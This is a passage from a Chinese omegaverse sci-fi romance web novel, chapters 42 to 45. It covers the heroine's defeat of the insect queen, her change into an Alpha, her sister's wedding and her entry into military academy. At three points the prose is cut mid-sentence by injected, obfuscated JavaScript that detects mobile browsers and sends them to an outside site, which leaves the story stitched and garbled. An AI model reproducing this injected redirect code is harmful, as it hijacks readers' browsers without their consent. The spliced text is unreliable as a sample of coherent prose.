在雄虫即将发起攻击前,无数碎片如龙卷风一般在穆沉凛周围降落,越来越多的雄虫已经被碾成粉末,如雾霾般洋洋洒洒地融入空气。 太慢了。 穆沉凛面色不愉地捏碎一串雄虫,他缓慢朝前推进,冰湖的信息素越来越浓郁,冰醋酸已经急不可耐地拼命朝里凑去,却被一只又一只雄虫拦住去路。 不行,再这样下去,等杀完全部的看门虫不知道还要多久。 她也坚持不到那个时候。 神态冷凝的太子殿下一边干脆利索地继续斩杀挡路者,一边快速摸向口袋。 不到迫不得已,他并不想蛮横地使用热武器爆破突进,但…… 看着周围数不胜数仿佛永远也杀不完的一只只虫子,愈发焦躁不安的男人终于不再犹豫,单手掏出一枚激光弹。 宁叙,我来了。 42. 第 42 章 所谓虫巢,并不是虫族的起源地,也不是一颗被虫族占领繁衍生息的星球。 帝国一直以来无法寻到的虫穴,实则是由无数雄虫喂养中不断膨胀的虫母在蜕壳后逐渐堆积形成的腐质空壳,它形状诡异,表面凹凸不平,但在雄虫的协助下,很快,一颗酷似普通星球的虫壳就这么诞生了。 但它并不如蛇皮褪去后变为死物,依然与虫母共栖生存的外壳变成守护卵室和内腔的外部防御圈,成为真正意义上的血肉大地。而褪去坚硬保护壳的虫母只剩里部那柔软无害的□□,躲在温暖蒸腾的生殖腔中孵化着每一颗虫卵。 此时被牢牢钉在软壁上的虫体正疯狂扭动,渴望逃脱女孩的掌控。 桑宁叙不紧不慢地上前几步,敏锐避开差点被甩到的虫尾,在它惊悚的嚎叫中又缓慢插入一截无形的冰锥。 “你真的好丑,也好恶心。” 女孩又靠近了几步,在即将接触到那浑浊黄绿色的躯体时,她及时停了下来。 “虽然你的审美真的非常糟糕,但是……” 一道又一道锐利的信息素朝裂缝中袭去,在虫体顽强的抵抗中,桑宁叙有点烦恼地把其他部位也冰冻了起来。 “你倒是很会躲嘛。” 随着女孩极度温柔的话音落下,与之相反充斥着纯净但恐怖的巨大能量硬生生掰开了那道裂缝,猩红的口器无助地垂在一边无法动弹,在裂缝即将合拢时,桑宁叙清楚地看见最深处那个可怜的冷光腔室,悬浮于正中央的则是一只没有粘液包裹,完□□露的虫体软肉,以其身体为中心向外延伸出无数深紫色的神经光束。 “找到了哦。” 藏匿于晶簇中的脑组织已然被冰湖封印,而身处其中瑟瑟发抖,大概只有她不到一个掌心大小的虫体在信息素包围之时突然爆发出一阵尖锐的嘶吼。 顿时,整颗星球都在剧烈震动,生长在墙壁上的无数卵囊在摇摆中全部坠落,一颗又一颗原本具有微弱生命气息的幼虫很快就在落地后丧命。 “好狠的心,都是你的孩子们呢。” 桑宁叙踩在光滑冰冷的虫母肢体上不紧不慢地来到裂缝前,连接虫族灵能网络的脑池已经被她冻结,然而那只可怜的小虫却并不死心,依然源源不断地往里输送着能量,期待着奇迹的发生。 “啧,把你当做礼物送给他好了。” 女孩摸着下巴嫌弃地看了它几眼,很快就移开了视线。她还是无法理解世界上怎么会有这种恶心生物的存在。没有脸,没有四肢,只是一个小小的圆球作为脑袋,然后便是一节节连起的软肉作为身体。 虽然她非常认可生命的存在即合理,但…… 算了,还是把它带给穆沉凛去研究吧。 在它拼命挣扎即将逃窜前,桑宁叙对着空气随意画了个圈,然后,已经彻底变成冰球的虫母就出现在了她的手中。 瞧瞧,这东西原来只有这么小一点。 要是穆沉凛和帝国知道一直以来和他们艰难作对的玩意儿其实一掌就能拍死,又会有什么样的反应呢? 虫母被捕,灵能网络失去了初始意识也迅速崩塌,桑宁叙只是稍微推波助澜了一下,所有收到指令的雄虫就在她的引导下开始了自毁。 确定一切结束,即将支撑不住身体的女孩一屁股坐在原地,她褪去衣物紧紧贴在冰面,试图通过物理降温来缓解身体的燥热。 好想他……好想要他…… 穆沉凛。 我在。 什么? 来不及反应,她已经被人大力从地上拽起,滚烫的身体也被搂进一个微凉的怀抱。 他的身体以前一向比她要热,不过这次居然颠倒了。 终于交融的信息素迅速钻入她即将因为堵塞而爆破的腺体,在冰醋酸熟练地引导和安抚中,桑宁叙终于觉得舒服了许多,她安稳地躺在男人怀中急促呼吸,葱白的指尖却习惯性地向上摸去。 在那里,有他的腺体。 想要。 在她动手之前就已经领悟到女孩心声的太子殿下握住她纤细的手腕,男人微微低下头,在她的眉心、鼻尖、嘴唇落下无数湿吻,然后亲自牵着她的手向那处引导。 在这里,在这里。 他不徐不缓又温柔的声音在耳边响起,桑宁叙先是用掌心按了按他的后颈,然后便开始拿指尖挑逗起来。 可以吗? 可不可以? 她在心里急切地发问,即使手中的动作看不出任何急躁,但穆沉凛知道,他要是再不答应,这姑娘大概就要暴起把自己按在地下强上了。 可以,都是你的,都属于你。 当最后一个字落下,前一秒还虚弱无力面颊泛红的女孩现在已经利索地翻身爬起,由于动作幅度过大,她差点没跪稳跌回原地,好在一直关注着她的太子殿下已经双手扶在腰间,等她顺利趴在肩膀后,又将人朝着自己搂了搂。 桑宁叙着迷地摸了一会儿,随即便靠过去深深吸了几口气。 虽然她什么都闻不到,但光是想想自己马上要做的事情,她就已经激动到差点咬破舌尖。 是她的了,终于是她的了! 为了方便她行动,穆沉凛特意伸了伸脖子又低了低头,他抵在女孩胸前闭上双眼等候发落。 腺体被冰冷的牙尖刺破,在品尝到他信息素极酸味道的同时,她的信息素也疯狂灌入其中。 愿望终于实现,冰封的巨大腔室渐渐溶解,无数肉块被切割成碎片掉落,却精准绕过了地上的两人。 好快乐,好满足。 桑宁叙只觉得以腺体为中心,一股暖流逐渐蔓延至四肢指尖,她仿佛整个人都浸泡在温泉中,雾气缭绕间吹来一阵阵清淡的寒风。 随着犬齿不断深入,穆沉凛难耐地抚上她的后背,在极致剧烈的感觉中不断确认她的存在。 她没有离开他,她还在。 她就在他的眼前。 “呃……” 当最后一股信息素激烈地进入他的血液骨髓和身体后,穆沉凛短暂地失神了几秒,大片白光在眼前涌现,他一度无法看清周遭的一切。 女孩柔软无力的身躯落入怀中,恍惚中的男人下意识接住了她。 原来,这就是Omega被标记的滋味吗? 怀中人仍在轻微颤抖,极致的感觉缓缓褪去,有些意犹未尽的太子殿下终于回过神来,在意识到这里即将坍塌前,他已经迅速背起女孩向外冲去。 “快快快,殿下在那!” “找到殿下和太子妃了!” “江止,飞船就位!” 一直紧密监测雄虫的帝国众人在发现事态陡然转变后,所有人都吃惊地盯着画面,眼睁睁看着跟他们熬了这么多年的虫族在一息之间迅速凋零。 最先反应过来的孟赫立即带人开着飞行器重新降落在一片虫尸之上。 手环中的光点正在飞速移动,他当即率领众人朝着那个坐标的大致方位交汇而去,顺便通知江止危险解除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040574|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这群人一边跑一边炸,很快,本就即将凋零瓦解的外壳在他们的爆破中露出一个又一个深不见底的洞穴。 “殿下!” 当穆沉凛带着人从某个即将炸到底的地心跳出时,所有人都不约而同露出激动的笑颜。 “全速返航。” 男人来不及多做解释,在一众Alpha避之不及又好奇地注视中快步踏上飞船,自动关闭的船舱隔绝了众人的视线。 穆沉凛把昏厥的女孩裹进厚厚的毛毯,习惯性贴好阻隔贴,为她擦去满头的汗水又喂了几口水,之后便抱着人躲进了内室。 她需要尽快回到帝国进行身体检测。 Omega二次分化为Alpha是极为少见的情况,纵然有他信息素的抚慰和帮助,但具体情况还要等回去后详细分析。 女孩苍白的小脸已经再次被汗水浸透,她紧皱着眉头眼球不断转动,冰醋酸在被阻隔贴截断后,她的身体越发难受起来,迟迟得不到安慰的女孩焦急地呢喃出声。 穆沉凛将人放在椅子上,先是为她擦了擦额头后落下一吻。他起身打开舱门,确认飞船启动成功,有眼色的下属们已经为他预设好运行路线,飞船内除他二人外再无多余闲杂人等,穆沉凛这才重新坐了回来,在女孩自动朝自己靠过来时,撕掉了刚刚贴好的阻隔贴。 “这就是虫母?” “起开,让我看看。” “天,就这么个小破玩意儿?殿下不会搞错吧?” “放屁,殿下能错吗?你错一百次殿下都不会错一次!” “呦呦呦,不过那确实……殿下很少出错。” 聚集在星舰上的众人目光火热地盯着那个已经被封存好的冰冻圆球,大家围在一起七嘴八舌地讨论起来。 孟赫站在外围抱着双臂不知道在想什么,终于清醒的元宿也在得知一切结束后愈发沉闷起来。 “醒了?” 见被自己打晕的人坐了起来,孟赫的狐狸眼上挑,对着他露出一个戏谑的笑容。 “不好意思,下手有点重。” 耳边传来男人毫无歉意地的话语,元宿懒得理他,只是继续靠在椅背上扭头看向窗外漆黑无尽的星空。 “你们刚才有没有感觉到……” “我怎么觉得太子妃那个味,不像是Omega,倒像是……” “我也觉得,哪个Omega的味道能那么苦?” “她和殿下一个酸一个苦,倒也相配。” “不一定吧,要是太子妃都成Alpha了,还怎么和殿下在一起呢?” “你觉得帝后能接受一个Alpha做太子妃吗?” “但看刚才那情形,殿下似乎也不排斥啊……” 耳边的讨论越来越激烈,大战过后的放松中,几位队长和副指挥官难得没有训斥这帮八卦的士兵,倒也由着他们去了。 “你怎么看,元宿宿?” 被孟赫突然勾肩搭背揽在怀里的元宿皱了皱眉头,并没有吭声。 “Alpha和Alpha,倒是蛮有意思不是吗?” 孟赫没在意这人的沉默,毕竟这个永远视太子为偶像之神的木讷石头向来不喜欢别人对自家长官随意揣测评价,也从不发表自己的看法, 大概在元宿眼中,穆沉凛做什么都是对的。 胳膊被人利落打掉,孟赫望着元宿头也不回地走向虫母的背影,无奈地笑了笑。 啧啧啧,还真是个无趣的家伙。 43. 第 43 章 桑宁叙再次清醒时,已经是半个月之后。 一直守在病房里的桑灵叙刚进门就发现她那沉睡不醒的妹妹睁着滴溜溜的圆眼睛望着自己。 “宁宁!” 病房内迸发出一声尖叫,守在门外的侍卫火速火燎地冲了进来。 谁知推开门才发现,那位脆弱可人几乎天天落泪的Omega正抱着他们的太子妃痛哭不已。 正好此时,侍卫和桑宁叙恰好对上了眼神。 被姐姐紧紧搂在怀里甚至后背都隐隐作痛的桑宁叙尴尬地舔了舔嘴唇,在男人震惊的视线中眨了眨眼。 回过神来的侍卫立刻极有眼色的退了出去,还贴心地为姐妹俩关好门,随后马不停蹄地向殿下发送消息。 太子妃醒啦! 几乎是同一时间,身处皇宫正在处理大小政务的穆沉凛就收到了来自医院的传讯。 她醒了! 男人立即丢下手中的事物,甚至不等其他人开口阻拦,就扔下下一句冷冰冰的“改日再议”后匆匆忙忙消失在众人的视线。 知晓内情的元宿很快就猜到发生了什么,他迅速起身替殿下安抚起几位重臣,随后又差人把他们恭敬地请出皇宫。 “您的身体状况一切正常,恭喜您重新分化为一个Alpha。”神态温柔祥和的医生对着她慈爱地恭喜道。 “虽然您的生理结构和其他Alpha有显著不同,但由于帝国以前从未出现像您这样的案例,所以我们也无法确定原因。” “不过可以肯定的是,您的身体素质和信息素都与正常Alpha无异,即使生殖腔依然存在,但也只是作为您体内的一个普通器官,很大概率也无法受孕。” 病床上的女孩云里雾里地听着医生的讲解,忍不住出声问道:“那我和穆沉凛的匹配……” “请您放心。”中年男人笑着接过话头,“您和太子殿下的匹配度没有发生任何变化,你们依旧是彼此的命定之番,虽然从医学角度暂时无法解释缘由,但……” “太子妃可以放心,您的分化并不会影响您现在的地位。” 她才不是问他地位好不好! 太子妃不过是个莫须有的名头,对她而言有没有都无所谓。 她只是不确定…… “宁叙。” 看着已经出现在病房门口的男人,主治医生和桑灵叙都极有眼色的对女孩点点头,随后迅速退出病房,将空间留给剩余的两个人。 “太子殿下。” 女孩瞟了他一眼之后飞快移开目光,随即才淡淡开口。 穆沉凛被她清醒后淡漠的姿态刺激到,男人快步走到她面前却显得有些手足无措,于是只好嗓音干哑地问道:“你……身体好点了吗?” “谢谢殿下关心,我很好。”桑宁叙微笑着转过头来对他客气答道。 又来了,怎么又变成之前疏离的模样了。 太子殿下心里焦急地不得了,但由于从小到大的皇室教育不允许他在面上轻易显露心中所想,男人的双手不自觉紧紧握拳,他缓慢地坐在病床边的那张椅子上,认真又仔细地盯着女孩的侧脸观察打量,很快便推断出一个结果。 她生气了。 她是气我不告而别,还是气我自作主张,又或者气因为我而导致她受伤? 无数个念头在脑海中划过,桑宁叙卷翘的睫毛在空中微微颤动,被子底下的双手紧紧抓着床单。 “对不起。” 半晌后,就在她即将憋不住笑前,男人忽然低头道歉。 她有些惊讶地回过头,随即就撞入他自责的视线中:“抱歉,是我过于相信自己的能力,以为留你在那里一定不会有危险。” 不等她开口,男人又继续快速接着道:“是我让你受到了惊吓,是我擅自将你排在计划之外,也是我……” 他顿了顿,突然说不下去。 这是怎么了? 桑宁叙疑惑地歪了歪头,可惜坐在窗前的男人深深低下头去,让她无法看清神情。 “都是我不好,都是我的错,差一点你就……” 他的声音越来越低,桑宁叙艰难地试图听清男人的呢喃,没办法她只好越凑越近,几乎快要从病床上跌落。 “你说什……” 才刚刚开口,她就被男人一把扯进怀里。 她有些懵圈地贴着他温热的胸膛,听着他在耳边疯狂道歉。 “对不起,对不起,是我的错,都是我的错。” “原谅我好不好?不原谅也没关系。” “我是你的,我把我的一切都给你,不要不理我,不要远离我。” 唉。 她其实只是想故意逗逗他,虽然的确存了让他知晓自己生气的意思,但…… 怎么他的状态比她还不好,明明被虫族囚禁的人是她好不好! 桑宁叙放松身体,任由自己被他揽住,双臂自然绕到他身后,一下一下缓慢又轻柔地拍打着男人的后背。 这还是那个世人心中高不可攀的顶A吗? “要原谅你当然可以。”趁着男人短暂停顿的功夫,桑宁叙迅速插话,“但是有条件。” “嗯。” 没意识到刚才还凄凄歪歪的男人此时的语调已经变得沉稳冷静。 得意洋洋以为自己能趁机大捞一笔的女孩还兴冲冲地设想着那个精彩绝伦的画面。 上次标记他的时候她基本都不怎么记得,意识昏沉身体混乱,只知道上去狂咬几口。 但是现在不同了。 虫母解决,虫族再不成气候。 她成为了Alpha,却依然是他的命定之番。 所以,以后…… 等二人的发情期再到时,她一定要翻身农奴把歌唱! 标记太子殿下,只要尝试过一次,紧接着就会出现永无止境的渴望。 “以后,我咬你。” 听见女孩高高在上的发号施令,穆沉凛窝在她怀中轻轻顶了顶上颚。 他就知道。 “好。” 男人闷闷地应和从胸腔中传来,见他毫不在意如此轻易快速的答应,趁人之危的桑宁叙反倒是有些不好意思起来。 那啥,Alpha爱咬人是天然习性,要是一直忍着不咬…… 啧啧,她怀疑这人很可能会在隐忍中逐渐变态。 嘶—— 算了,公平起见,她也不是不能给他咬。 “要不然,互咬?”女孩小心翼翼地问出声。 噗。 穆沉凛在她看不见的地方挑起眉毛勾起嘴角。 他就知道,她是舍不得自己。 她到底是有多喜欢咬他,居然时刻不忘记这件事。 他原本以为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047637|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩会趁机要求一些更过分的事情。 比如,尝试把他压在下面。 虽然他打从心底里排斥这种行为,Alpha天生的好战和不服输决不允许自己成为下位者,但只要对上她…… 他似乎什么都可以。 很多时候他也惊讶于自己面对她时总是不自觉的退让与放纵。 大概,这就是命定之番的威力吧。 穆沉凛侧过头吻了吻她的脸颊,在女孩不好意思的视线中,与她交换了一个气息绵长的吻。 桑宁叙沉睡的这段时间里,行动迅猛的太子殿下已经完成了不少事情。 比如如何高调地重回大众视野,之后以雷霆之势揪出与贺书愉牵连盛广的怀有异心之人,利落地把人通通送往MS星系。 至于贺书愉。 男人在亲眼见到被冰封的虫母之后,也许是不肯相信他心中最伟大最神圣般的存在竟然是这么个可怜的小玩意儿,又或者预料到自己的未来再无希望,于是彻底疯癫的男人很快便在狱中咬舌自尽。 而被送往科研室的虫母也被很快断定神经死亡,被桑宁叙毁掉了灵能网络后,失去雄虫供养的虫母也只是一只普通到不能再普通的虫子。虽然□□被冰封不腐,但也无法继续成为那个掌控虫族的最高统治者。 也许是为了给他们留下一些实验体,并不是所有雄虫都在启动自毁程序后被摧毁。 江止等人之后又重回虫巢巡查,倒是意外在边缘的其他几颗星球上发现几只仍留有生命迹象的虫体。 总归是成不了什么大气候,收到报告的穆沉凛思考几天后,还是决定派人把那些剩余的虫子带去了MS星系。 虽然他对于贺书愉与贺承科离谱的终极梦想毫无兴趣,甚至非常鄙夷,但作为新物种的深度研究与参考,他并不介意为帝国增添几个全新的生物标本。 因此,研究小组随后便很快领太子殿下之命前往MS星系开展研究。 再说到帝后,二人一早就得知太子妃分化成Alpha的事实,担忧之余,他们也不得不考虑起未来的打算。 帝国皇室还从未出现过任何一对双A组合的夫妻,即使官方从未公开反对AA或者OO恋,但…… 然而还不等帝后头疼,早已预料到二人反应的穆沉凛在返航接受完身体检查后,很快就带着最新的检查数据面见了自己的父王母后。 作为贺承科当年的另一个实验体,穆沉凛的信息素在注射毒素后很快发生了异变,成为顶A打击虫族纵然是极好的结果,但也只有知情人了解内情,当年的太子殿下差一点就命丧黄泉。 好在殿下终是挺了过来,信息素虽然无人能敌,但也因为异变导致气味过于难闻,身体数据紊乱,发情期异常。 不过这一切却皆在桑宁叙咬下他后发生了变化。 紊乱因素被一点点抹平、净化,女孩干净强大信息素的吞噬力帮他轻易摧毁虫族基因的毒素,洗涤他的能量。 他的身体在逐渐恢复正常,信息素的味道也不如之前那般刺鼻,无人敢靠近。 “她只能是我的太子妃,不会有别人。” 向来对感情和婚姻不在乎的太子殿下对着高座上的帝后抬起头,姿态不容抗拒地缓缓吐出承诺。 她是帝国的福星,更是他的一切。 从此以往,他们共享一切,直至生命结束。 44. 第 44 章 桑灵叙要结婚了。 桑宁叙没想到自己刚出院的第三天,她还没来得及和零三七好好唠唠嗑,就被自家姐姐慌慌张张地拽上车,然后一路飞驰来到了帝都最出名的一家婚纱店。 眼下妹妹平安归来,太子殿下也重新回归大众视野,得到帝后赞赏的沈安之更是趁机讨要了彩头。 请帝后出面做证婚人,迎娶桑灵叙。 自己结婚时什么都不用操心,只用安心在家等待皇宫侍从为她送上一切的桑宁叙兴致勃勃地坐在婚纱店VIP室的正中央,她正高高举着手环准备一会儿拉开帘子后拍摄记录下姐姐的美貌。 嘿嘿嘿,到时候发给她未来的姐夫让他好好眼馋一番。 沈安之这个倒霉蛋,又被将军在家里重新关起禁闭,直到婚礼那天之前,一律不得外出。 好在婚礼的诸多事宜已在沈安之母亲井井有条的操办下顺利完成,桑灵叙除了按照自己的喜好挑选婚纱外,便只用安心在家当个准新娘子。 要说桑灵叙和沈安之之间,那倒是一段单纯又美好的同学情谊慢慢变质为爱情的过程。 不过是某天二人一同学习时,桑灵叙意外发情,被她也同样诱导发情的沈公子便在忍无可忍中飞扑上去标记了自己喜欢的女子。 当然,回家后的沈少爷少不了挨了一顿双打,但好在沈将军并不在意未来儿媳的身家背景,只要儿子喜欢,信息素匹配没问题,那就放任自家小子随意折腾去吧。 但私下随意标记女孩这点,绝对不可取。 于是被暴揍又罚关禁闭半年的沈安之也只好老实待在家中,直到帝后的诏令才被迫解除禁足。 本以为大战之后得以恢复自由身的沈安之待回来之后又被沈将军毫不客气地继续赶回家,势必要接着之前的惩罚继续。 可惜啊可惜,她的可怜姐夫是没法亲眼所见她姐姐的现场婚纱秀了。 穆沉凛最近也不知道在忙什么。 明明出院那天还跟她承诺很快就会放假带她出去玩,结果这些日子除了每天夜里准时回家抱着她入睡之外,根本连个人影子都见不到。 哼哼。 又在琢磨坏点子的女孩磨了磨犬齿,计划着某天一定要给他狠狠来上一口。 “宁宁,这件怎么样?” 终于舍得从更衣室出来的女人在工作人员的帮助下缓缓拉开遮挡的窗帘。 在女孩的惊呼声中,身着淡粉色钻石鱼尾款婚纱的桑灵叙红着脸看向自家妹妹。 “别拍照。” 听着她柔柔地拒绝声,桑宁叙像个拨浪鼓一样不停摇着脑袋。 “笑笑笑,姐姐快笑!一会儿我要发给姐夫!” 在她的再三催促下,不好意思的桑灵叙只好露出一抹柔美又明媚的微笑。 好美好美好美! 举着手环的女孩绕着桑灵叙来来回回走了两圈,确定终于拍到完美照片后,她才有点淘气地对着姐姐竖起大拇指:“好看!绝美!” 等桑灵叙进去换另一套婚纱时,刚发送出去的照片瞬间被对面秒回。 “多来几张!” “谢谢小妹!” 啧啧啧,桑宁叙白了一眼手环。 行了,点到为止。可不能给男人看得太多,毕竟最大的惊喜还是要留到最后欣赏才美妙。 打定主意的桑宁叙将手环调成静音模式,开始心无旁骛地陪着姐姐挑选婚纱。 在帝星的日子一天天过得飞快。 自打回来后已经过了两个月,桑宁叙又重新回到最初在家乱瘫的休闲时光。 只不过比起以前,现在唯一不同的地方在于偌大的别墅终于不止她一人,每天都按时回家的穆沉凛也让这栋房子变得充满烟火气息。 桑宁叙爱吃,但她不会做。 虽然白天有零三七陪她,可那些过于复杂的菜系这个小智障AI做不太出来,它会做的那些玩意儿她也几乎吃够了,于是女孩很快就把主意打到点外卖上。 第N次被零三七提醒外卖不健康后,依然屡教不改的桑宁叙终于在小机器人的告状中,被某天提早归来的男人抓了个现行。 桑宁叙尴尬地叼着筷子偷偷摸摸打量穆沉凛,她还暂时摸不清楚这人对她乱点外卖的态度。 好在男人并没有开口指责,竟然还一起坐下来陪着她吃完了那一餐。 第二天一早,家里就多了个厨子。 真人的那种。 又能吃到新口味的桑宁叙当然大为欢喜,当即就放弃了外卖。 毕竟那东西虽然味道好花样多,但若是有人能给她现场做,当然是再好不过的了。 不过让她更惊悚的事情则是…… 她的太子殿下居然开始亲手为她做羹汤! 只是下午随意说了一句想吃烤鸡翅后,晚上回家的男人就真的在厨房里忙碌起来。 当桑宁叙闻见那令人垂涎三尺的肉香时,她连拖鞋都来不及穿,一路蹦跳着冲进厨房。 正在摆盘的太子殿下扫过她白嫩赤裸的脚丫,男人皱了皱眉头后,立即吩咐守在厨房门口的零三七去找鞋。 后背突然一沉,穆沉凛瞬间稳住重心,然后习惯性托着人向上掂了掂。 “好香哦。” 桑宁叙像只八爪鱼似得趴在他后背,瞪着饱满的杏仁眼仔细检查着属于她的美味。 “你什么时候会做饭的?” 关上烤箱,取下手套,穆沉凛背着女孩,端着手中香喷喷的烤翅朝餐桌走去。 白色的陶瓷盘子碰撞在浅灰色的大理石桌面上发出脆响,零三七此时也刚好找来女主人的毛绒拖鞋,穆沉凛把人放在椅子上后,蹲下身为她穿好鞋。 “味道怎么样?” “唔,好吃好吃!舌头都要被我吞掉了!” 桑宁叙沉浸在美食的治愈中,当即便大快朵颐起来。 她的太子殿下是个天才! 怎么能连做饭都那么好吃呢! 自那之后,彻底承包桑宁叙宵夜零食的穆沉凛总会在回家之后为她送上一道又一道美味。 有些小吃是桑宁叙认识的,还有很多她连听都没听过,不过也并不影响味道,每次她都能吃到尽兴。 好在穆沉凛虽然变着花样给她做菜,但也牢牢把控着量,因此虽然一顿没落,桑宁叙也没有很快就吃成个大胖子。 时间转瞬即逝,终于来到了桑灵叙结婚的那天。 前一周就跑回家陪着姐姐的女孩在婚前一晚几乎一宿没睡,姐妹俩躺在桑宁叙的床上聊着过去的许多日子。 尽管大部分时间都是桑灵叙在回忆,她只是望着黑暗中的天花板静静聆听,毕竟那些独特的回忆并不属于她。 在女人软糯温柔的语调中,桑宁叙突然想起了自己在虫巢的那段日子。 她出院后按照要求规律进行了好几次身体检查,然而所有人都无法解释为什么她能从一个Omega变成Alpha。 虽然没有直接证据,但她心中却隐隐有了猜测。 帝国是一个女A男O极少的国度,虽然也不是没有,但相较于传统的男A女O,前者的人数上还是差了一大截。 大概穿越前因为她性别女,于是便成为了Omega,但她其实本身并不认可自己的Omega身份。 加之穆沉凛信息素暴乱期间标记过她,也许那时虫族的某些基因就随着信息素一起进入了她的身体。 最重要的是……她的信息素也绝不同于普通的帝国人。 因此这所有的一切,在她即将被虫母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑宁叙一脸懵地指着自己问。 “我可以帮你办理入学手续。”男人盯着她的双眼认真说道,“想试试吗?” 其实说实话,她更想无所事事的在家里待着。 原谅她完全就是个懒蛋,但是…… 本来已经打算拒绝的女孩像是突然想起了什么,话到嘴边却又拐了个弯:“要不,我再想想?” “好。”穆沉凛点点头,并没有催促她立即做决定,只是让她想好之后及时给他答复。 只不过时间不能太晚,毕竟秋天就到了新学期开学的日子。 为了这件事桑宁叙也抓心挠肺了不少天。 不知内情的桑灵叙倒是奇怪妹妹怎么临到头又突然犹豫了起来,之前可是这小丫头天天嚷嚷着想去军事学院玩。 难不成只是想参观,其实并不想训练? 从某种程度上来说,了解自家妹妹性格的桑灵叙确实真相了。 索性距离截止日期还有一段时间,桑宁叙也忙着为即将到来婚礼筹备帮忙,很快也就把这点烦恼扔到了脑后。 在帝后的见证下,两位新人满脸微笑地宣誓完成并交换了戒指,在台下众人吵吵嚷嚷地起哄声中,羞涩的桑灵叙红着脸上前楼住新郎的肩膀,在所有人的祝福和激烈的掌声中,罕见主动地幸福落下一吻。 桑灵叙眼疾手快地抓拍下两位新人的婚礼接吻照,看着相机屏幕内那张完美的照片,她心中涌起一阵莫名的酸涩,突然泪光隐隐闪现,为了遮掩,她立刻一边用力鼓掌一边大声欢呼为二位新人喝彩。 希望你们,能永远像今天这样幸福啊…… 45. 第 45 章 太子殿下最近不太对劲。 自从军事学院开学以来,桑宁叙天天忙得晕头转向,不是在学习就是在训练,最后为了方便,干脆直接申请了学院宿舍。 虽然太子殿下面上不显也没有多说什么,但临走前的那晚被他折腾了整整一夜的桑宁叙第二天打着哈欠、萎靡不振地从床上被强制揪起后,男人亲自且准时的把她送到了学校。 上学的日子每天都很辛苦,军事学院不比其他普通院校,只要平时认真上课做题,期末考个高分就行,除了必要的理论训练,大部分的实战训练几乎能要学生们的半条命。 好消息是,她足够强,所以对于其他人而言讨厌又费力的实战课,在她这里却是来之不易的休息,毕竟她连穆沉凛的信息素都能免疫,更别提这帮乳臭未干的小崽子。 Alpha本质上都非常慕强。 之前为了保证太子妃能安心修养身体,皇室在对外公告中暂时隐去了桑宁叙对虫母的所作所为,但奈何不了太子殿下周围那群士兵鸡贼地推测与观察,很快大家就意识到那个被冻成标本的虫母是怎么来的。 笑话,太子殿下的信息素他们能不熟悉吗!况且当时在地心,除了殿下就只剩被掳去的太子妃,更别提人家出来就分化为Alpha,信息素的官方检测又是冰湖。 八卦和流言越传越广,很快就扩散至一众教官和学生的耳朵里。 穆沉凛在消息发酵的第一时间就收到了报告,但男人并没有理会,更没有采取任何消息封锁措施。 有些事实,总归是要被大众所接受的。 就好比,他们的太子妃现在是个Alpha,就好比,以后未来的王后也会是个Alpha。 而帝国新任帝后将会是AA恋。 这也是桑宁叙最后答应去军事学院的原因之一。 王后陛下在桑灵叙的婚礼结束后,专程抽时间和她聊了聊。 作为帝国最顶端的继承人,享有帝国顶级资源的她和穆沉凛,虽然一定程度上拥有至高无上的权力,但这并不意味着他们可以任意妄为。 贵族臣子,百姓人民,所有人都无时无刻注视着王室的一举一动。 尽管穆沉凛的信息素极为特殊,而她即使转化为Alpha也依然是他的命定之番,但AA帝后,不论怎么说都…… 总会有人不愿接受,也总会有人妄图以此为起点大肆抨击、抹黑王室的统治。 作为太子妃她可以是Alpha,但也必须是一位让人无法辩驳质疑的Alpha。 她需要拥有足够强大的实力。 强大到,没有人胆敢对她妄言指责。 击败虫母无疑是她能力最成功的证明和体现。 但悠悠众口,若是想要堵住所有人的非议,她也必须向世人更突出地彰显她的能力。 最简单也最有效的方法,就是进入军事学院,成为排名第一的优秀毕业生。 在军队立威,得到一众军官的承认,得到所有士兵的认可。 将来等穆沉凛登基之后,作为王后的她便也可顺理成章地帮他处理不少军中事宜。 对哦,登基。 要不是王后亲自提起,桑宁叙压根意识不到自己将来的某天也会坐上那个位置。 成为帝星的……王后。 嘶,想想就压力好大。 不过也,挺有意思。 她并不享受权力带来的一切荣华富贵,但她的确享受作为绝对战力,帝国第一实力的存在。 毕竟与其慕强,不如直接让自己成为最强。 深冬来临,可怕的期末季也如约而至。 为了顺利通过文化课的测试,桑宁叙不得不每天都挑灯夜战、埋头苦读,除了吃饭睡觉上厕所,几乎所有的时间都贡献给了书本和习题。 天杀的,一丁点不用担心实战课的后果就是,她的理论那叫一个垃圾! 什么星舰飞船的内部构造,各个部分的专用名词,枪支炮弹的细小零部件,都什么跟什么呀! 第无数次两眼一抹黑的桑宁叙最后只好在课程结束后丧着脸被太子殿下接回家。 距离正式考试前他们有近一周的自主复习时间。 